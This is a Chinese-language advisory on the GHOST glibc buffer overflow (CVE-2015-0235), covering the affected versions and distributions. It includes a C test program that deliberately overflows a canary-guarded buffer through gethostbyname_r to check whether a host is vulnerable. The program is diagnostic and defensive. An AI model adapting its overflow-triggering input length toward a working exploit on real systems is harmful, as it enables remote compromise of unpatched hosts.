幽靈漏洞(GHOST)影響大量Linux系統及其發行版
安全研究人員近日曝出一個名為幽靈(GHOST)的嚴重安全漏洞,這個漏洞可以允許攻擊者遠程獲取操作系統的最高控制權限,影響市面上大量Linux操作系統及其發行版。該漏洞CVE編號為CVE-2015-0235。
什么是glibc
glibc是GNU發布的libc庫,即c運行庫。glibc是linux系統中最底層的api,幾乎其它任何運行庫都會依賴于glibc。glibc除了封裝linux操作系統所提供的系統服務外,它本身也提供了許多其它一些必要功能服務的實現。glibc囊括了幾乎所有的UNIX通行的標準。
漏洞概述
代碼審計公司Qualys的研究人員在glibc庫中的__nss_hostname_digits_dots()函數中發現了一個緩沖區溢出的漏洞,這個bug可以經過gethostbyname*()函數被本地或者遠程的觸發。
應用程序主要使用gethostbyname*()函數發起DNS請求,這個函數會將主機名稱轉換為ip地址。
更多漏洞細節:詳見視頻
影響范圍
該漏洞影響glibc庫版本2.2-2.17的Linux操作系統
操作系統類型包括
CentOS 6 & 7 Debian 7 Red Hat Enterprise Linux 6 & 7 Ubuntu 10.04 & 12.04 各Linux發行版
漏洞測試
1、編譯以下測試代碼
- #include <netdb.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <errno.h>
- #include <gnu/libc-version.h>
- #define CANARY "in_the_coal_mine"
- struct {
- char buffer[1024];
- char canary[sizeof(CANARY)];
- } temp = { "buffer", CANARY };
- int main(void) {
- struct hostent resbuf;
- struct hostent *result;
- int herrno;
- int retval;
- /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
- size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
- char name[sizeof(temp.buffer)];
- memset(name, '0', len);
- name[len] = '\0';
- retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
- if (strcmp(temp.canary, CANARY) != 0) {
- puts("vulnerable");
- exit(EXIT_SUCCESS);
- }
- if (retval == ERANGE) {
- puts("not vulnerable");
- exit(EXIT_SUCCESS);
- }
- puts("should not happen");
- exit(EXIT_FAILURE);
- }
2、上述測試程序可以顯示出glibc版本和主機是否存在漏洞
gcc gistfile1.c -o CVE-2015-0235 ./CVE-2015-0235